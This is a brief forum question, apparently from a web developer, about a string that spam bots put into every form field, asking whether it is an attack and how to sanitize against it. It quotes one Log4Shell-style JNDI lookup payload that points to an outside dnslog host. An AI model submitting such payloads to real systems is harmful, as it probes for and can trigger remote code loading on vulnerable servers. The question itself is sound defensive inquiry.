Some spammers keep filling each and every form-field with below:
${jndi:ldap://123.tgnndi.dnslog.cn/e}
Maybe the $
part is supposed to trigger JQuery.
What is this, is it a try to attack?
If so, is it targetting our JS
frontend or our PHP
backend?
What's best way and/or library to sanitize and/or prevent such attacks?
Note that I am asking for details about initial question, these are not multiple questions just because there are multiple question marks ;-)
If one of above questions is already answered (if not all), then answering that "one" question with quotes of said existing answer is enough (with link to source), thanks.